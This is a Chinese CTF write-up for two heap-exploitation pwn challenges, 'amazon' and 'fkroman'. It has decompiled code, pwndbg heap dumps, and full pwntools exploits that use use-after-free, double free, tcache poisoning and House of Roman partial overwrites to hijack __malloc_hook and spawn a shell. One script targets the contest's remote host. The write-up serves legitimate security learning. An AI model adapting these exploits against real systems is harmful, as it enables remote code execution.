数字经济云安全共测大赛CTF-Pwn amazon、fkroman

数字经济云安全ctf Pwn

1. amazon

menu

int menu()
{
  puts("1.buy");
  puts("2.show");
  puts("3.checkout");
  puts("4.exit");
  return printf("Your choice: ");
}

show

int show()
{
  __int64 v0; // rax
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 47; ++i )
  {
    v0 = qword_4080[i];
    if ( v0 )
      LODWORD(v0) = printf("Name: %s, Note: %s\n", qword_4080[i], qword_4080[i] + 32LL);
  }
  return v0;
}

checkout

unsigned __int64 checkout()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Which item are you going to pay for: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 48 && qword_4080[v1] )
    free((void *)qword_4080[v1]);
  else
    puts("No such item");
  return __readfsqword(0x28u) ^ v2;
}

free后未置NULL,可能导致UAF

leak libc

from pwn import *
context.log_level = "debug"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./amazon")
elf = ELF("./amazon")

def buy(which, count, size, content):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("to buy: ")
    p.sendline(str(which))
    p.recvuntil("many: ")
    p.sendline(str(count))
    p.recvuntil("your note: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    p.send(content)

def show():
    p.recvuntil("Your choice: ")
    p.sendline("2")

def checkout(idx):
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("pay for: ")
    p.sendline(str(idx))

# step_1

##### leak libc_base #####
for x in range(10):
    buy(0,1,0x90,str(x)*8)

for x in range(8):
    checkout(x)

show()
p.recvuntil("66666666\nName: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr-0x3ebca0
print "leak_addr =======>" , hex(leak_addr)
print "libc_base =======>" , hex(libc_base)
##### leak libc_base #####

# step_2
buy(0,1,0x10,"B"*8)

gdb.attach(p)

p.interactive()

泄漏出libc后,太菜了,没想到比较好的能够getshell方法

跟着dl的wp学习了一波:https://mp.weixin.qq.com/s/A0T1VJmfvPcWaBD5ubrbPA

解题思路

​ 泄露libc,heap地址后,利用double_free 攻击small_bin 来构造overlap chunk(由于main_arena的top指针会被覆盖,所以后期不能从top_chunk分配,之前就要构造好chunk结构),最后利用tcache poisoning覆盖到malloc_hook与realloc_hook

  • 泄漏libc和heap地址
    • 这一步比较简单,由于free后指针没有设置为NULL,因此使用show函数可以打印出fd、bk的值。
    • Tcache的对double free的检查比较松,导致可以通过多次释放同一个chunk,泄漏heap和libc的地址
      • 第一次free两次,泄漏自身的地址(heap地址)
      • 第二次再free六次,泄漏libc地址
pwndbg> bins
tcachebins
0x60 [  1]: 0x55597be613d0 ◂— 0x0
0xb0 [  1]: 0x55597be61320 ◂— 0x0
0xc0 [  7]: 0x55597be61260 —▸ 0x7f678e8feca0 (main_arena+96) —▸ 0x55597be614c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55597be61250 —▸ 0x7f678e8feca0 (main_arena+96) ◂— 0x55597be61250
smallbins
empty
largebins
empty
pwndbg> 
  • 创造一个fake chunk
add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) # create a fake chunk.

pwndbg> bins
tcachebins
0x60 [  1]: 0x5636ccb343d0 ◂— 0x0
0xc0 [  7]: 0x5636ccb34260 —▸ 0x7ffaba577ca0 (main_arena+96) —▸ 0x5636ccb344c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5636ccb34250 —▸ 0x7ffaba577ca0 (main_arena+96) ◂— 0x5636ccb34250
smallbins
empty
largebins
empty
  • add(1,0x10,0x90,"1"*8) # malloc the tcache 0xc0 分配出去
pwndbg> bins
tcachebins
0x60 [  1]: 0x55b4c78843d0 ◂— 0x0
0xc0 [  6]: 0x7fd721ececa0 (main_arena+96) —▸ 0x55b4c78844c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> unsortedbin
unsortedbin
all: 0x0

  • 分配出unsortbin,修改smallbin的内容。 add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2) # malloc unsortbin
pwndbg> x /30gx 0x7fd721ececa0
0x7fd721ececa0 : 0x000055b4c78844c0  0x0000000000000000  // top_chunk
0x7fd721ececb0 :    0x000055b4c7884250  0x000055b4c7884250
0x7fd721ececc0 :    0x00007fd721ececb0  0x00007fd721ececb0
0x7fd721ececd0 :    0x00007fd721ececc0  0x00007fd721ececc0
0x7fd721ecece0 :    0x00007fd721ececd0  0x00007fd721ececd0
0x7fd721ececf0 :    0x00007fd721ecece0  0x00007fd721ecece0
0x7fd721eced00 :    0x00007fd721ececf0  0x00007fd721ececf0
0x7fd721eced10 :    0x00007fd721eced00  0x00007fd721eced00
0x7fd721eced20 :    0x00007fd721eced10  0x00007fd721eced
pwndbg> x /30gx 0x7ffa0dcbbca0
0x7ffa0dcbbca0 : 0x616853206b6c694d  0x000000000000656b  
0x7ffa0dcbbcb0 :    0x000055d1aac70250  0x000055d1aac70250
0x7ffa0dcbbcc0 :    0x00007ffa0dcbbcb0  0x00007ffa0dcbbcb0
0x7ffa0dcbbcd0 :    0x00007ffa0dcbbcc0  0x00007ffa0dcbbcc0
0x7ffa0dcbbce0 :    0x00007ffa0dcbbcd0  0x00007ffa0dcbbcd0
0x7ffa0dcbbcf0 :    0x000055d1aac703a0  0x000055d1aac703a0 // small_bin
0x7ffa0dcbbd00 :    0x00007ffa0dcbbcf0  0x00007ffa0dcbbcf0
0x7ffa0dcbbd10 :    0x00007ffa0dcbbd00  0x00007ffa0dcbbd00
0x7ffa0dcbbd20 :    0x00007ffa0dcbbd10  0x00007ffa0dcbbd10
pwndbg> bins
tcachebins
0x60 [  1]: 0x55d1aac703d0 ◂— 0x0
0xc0 [  5]: 0x55d1aac704c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x55d1aac703a0 —▸ 0x7ffa0dcbbce0 (main_arena+160) ◂— 0x55d1aac703a0
0xb0 [corrupted]
FD: 0x10
BK: 0x7ffa0dcbbd40 (main_arena+256) ◂— 0x7ffa0dcbbd40
largebins
empty
  • 分配出伪造的smallbin,此时tcache中还有其overlapping的chunk,其fd已经被修改
add(1,0x10,0x20,p64(hook-0x28))

  - 此时:
pwndbg> bins
tcachebins
0x60 [  1]: 0x556a4f38c3d0 —▸ 0x7f05d8f31c08 (_IO_wide_data_0+296) ◂— 0x0
0xc0 [  5]: 0x556a4f38c4c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xb0 [corrupted]
FD: 0x10
BK: 0x7f05d8f31d40 (main_arena+256) ◂— 0x7f05d8f31d40
largebins
empty
  • 分配已经被篡改的tcache中的堆块,这里使用realloc+0x9的位置调整栈空间,达到满足onegadget的条件
add(1,0x10,0x30,p64(one)+p64(realloc+0x9))
  
pwndbg> x /30gx 0x7f05d8f31bd8
0x7f05d8f31bd8 <_IO_wide_data_0+248>:   0x0000000000000000  0x0000000000000000
0x7f05d8f31be8 <_IO_wide_data_0+264>:   0x0000000000000000  0x0000000000000000
0x7f05d8f31bf8 <_IO_wide_data_0+280>:   0x0000000000000000  0x0000000000000000
0x7f05d8f31c08 <_IO_wide_data_0+296>:   0x0000000000000000  0x00007f05d8f2dd60
0x7f05d8f31c18: 0x0000000000000000  0x00007f05d8bdd410
0x7f05d8f31c28 <__realloc_hook>:    0x00007f05d8bde790  0x0000000000000000
0x7f05d8f31c38: 0x0000000000000000  0x0000000000000000
0x7f05d8f31c48 :  0x0000000000000000  0x0000000000000000
0x7f05d8f31c58 : 0x0000000000000000  0x0000000000000000
0x7f05d8f31c68 : 0x0000000000000000  0x0000000000000000
  
pwndbg> x /30gx 0x7f05d8f31c30
0x7f05d8f31c30 <__malloc_hook>: 0x0000000000000000  0x0000000000000000
0x7f05d8f31c40 :    0x0000000000000000  0x0000000000000000
0x7f05d8f31c50 : 0x0000000000000000  0x0000000000000000

  • 申请堆块,触发malloc_hook

EXP

附上 Chamd5 团队的wp:

from pwn import *

#context.log_level = 'debug'

p = process('./amazon')
#p=remote("121.41.38.38",9999)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def g(p,data=False):
    gdb.attach(p,data)
    raw_input()

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def rl():
    return p.recvline()

def re(x):
    return p.recv(x)

def add(idx,price,length,data):
    ru("Your choice: ")
    sl(str(1))
    ru("uy: ")
    sl(str(idx))
    ru("many: ")
    sl(str(price))
    ru("note: ")
    sl(str(length))
    ru("tent: ")
    se(data)

def add2(idx,price,length):
    ru("Your choice: ")
    sl(str(1))
    ru("uy: ")
    sl(str(idx))
    ru("many: ")
    sl(str(price))
    ru("note: ")
    sl(str(length))

def show():
    ru("Your choice: ")
    sl(str(2))

def free(idx):
    ru("Your choice: ")
    sl(str(3))
    ru("for: ")
    sl(str(idx))




add(1,0x10,0x90,"1"*8) # 0
add(1,0x10,0x80,p64(0)) # 1
free(1) # tcache[0xe0] -> 0
add(1,0x10,0x30,"3"*8) #
free(2)
add(1,0x10,0x20,";$0\x00")
add(1,0x10,0x20,"2"*8)
free(0)
free(0)
show()

ru("Name: ")

heap=u64(re(6).ljust(8,"\x00"))-0x260
print hex(heap)

for i in range(6):
    free(0)

show()
ru("Name: ")
lib=u64(re(6).ljust(8,"\x00"))-0x3ebca0
print hex(lib)

hook=libc.symbols["__malloc_hook"]
hook=lib+hook
print hex(hook)
one=lib+0x10a38c
realloc=lib+libc.symbols["realloc"]

add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) # create a fake chunk.

add(1,0x10,0x90,"1"*8) # malloc the tcache 0xc0

add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2) #  malloc unsortbin

add(1,0x10,0x20,p64(hook-0x28))
gdb.attach(p)
add(1,0x10,0x30,"wwe")

add(1,0x10,0x30,p64(one)+p64(realloc+0x9))

add2(1,1,0x60)

p.interactive()

总结

  • 利用chunk同时存在于tcache和main_arena,结合tcache poisoning,分配到main_arena地址处的堆块
  • 构造出overlapping后,利用分配的堆块修改small bin位置,此时small bin和tcache 存在重叠部分
  • 利用malloc hook 和realloc hook,调整栈布局,满足oneshot最后get shell

2. fkroman

House of roman

参考:https://xz.aliyun.com/t/2316#toc-5

正常来讲爆破的话就可以,但是这个题目比较恶心的是有一个sleep(5)

题目分析

就是简单的增删改,存在UAF和double free漏洞,可以任意溢出,但是保护全开,不能获取到libc的地址

利用思路

  • 首先分配 3chunk (A , B, C) ,大小分别为 0x20, 0xd0, 0x70
  • B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack
  • 释放掉 B , B 进入 unsorted bin , 此时 B+0x10B+0x18 中有 main_arean 的地址
  • 再次分配 0xd0 , 会分配到 B, 此时 B+0x10B+0x18main_arean 的地址依然存在
  • 然后分配 30x70chunk (D , E, F), 为后续做准备
  • A 触发 单字节溢出,修改 B->size = 0x71 . 然后释放 C , D, 此时 C , D 进入 fastbin , 同时 D->fd = C. 由于 chunk之间的相对偏移固定,于是利用 uaf 修改 D->fd 的低 字节 ,使得 D->fd=B
  • 此时 B->size = 0x71 ,同时 B + 0x78p64(0x61) (第2步设置), 这就成功伪造了一个 0x70 大小的 fastbin。 此时 B->fdmain_arean 的地址,于是通过 修改 低 2个字节,可以修改到 malloc_hook - 0x23 处 ( malloc_hook - 0x23 + 0x8 处的值为 p64(0x7f) )
  • 然后分配 30x70chunk, 就可以拿到包含 malloc_hookchunk, 此时 malloc_hook内容为 0
  • 然后利用 unsorted bin 修改 malloc_hook 内容为 main_arean 的地址
  • 利用部分写修改 malloc_hookone_gadget
  • 多次释放一个指针,触发 double free 异常,进而触发 malloc_printerrgetshell

Exp

# coding:utf-8
from pwn import *
from time import sleep
# elf = ELF("./fkroman")
# p = process("./fkroman",env={"LD_PRELOAD":"./libc-2.23.so"})
p = remote("121.40.246.48", 9999)
def create(size, index):
    p.recvuntil("choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))


def free(index):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def edit(index, content):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(len(content)))
    p.recvuntil("Content: ")
    p.send(content)
create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2)  # 0x70

info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61)
edit(1,fake)
info("fake")

free(1)
create(0xc8,1)

create(0x65,3)  # b
create(0x65,15)
create(0x65,18)

over = "A"*0x18  # off by one
over += "\x71"  # set chunk  1's size --> 0x71
edit(0,over)
info("利用 off by one ,  chunk  1's size --> 0x71")

free(2)
free(3)

info("创建两个 0x70 的 fastbin")


heap_po = "\x20"
edit(3,heap_po)
info("把 chunk'1 链入到 fastbin 里面")


# malloc_hook 上方
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)

info("部分写,修改 fastbin->fd ---> malloc_hook")


create(0x65,0)
create(0x65,0)
create(0x65,0)

info("0 拿到了 malloc_hook")   

free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")

create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)

free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)

info("unsorted bin 使得 malloc_hook 有 libc 的地址")



over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xbf"
edit(0,over)

info("malloc_hook to one_gadget")

free(18)
free(18)

p.recvuntil("double free or corruption")
p.sendline("\n")
sleep(0.2)

p.sendline("uname -a")
data = p.recvuntil("GNU/Linux", timeout=2)
if "Linux" in data:
    p.interactive()
else:
    exit(0)

你可能感兴趣的:(数字经济云安全共测大赛CTF-Pwn amazon、fkroman)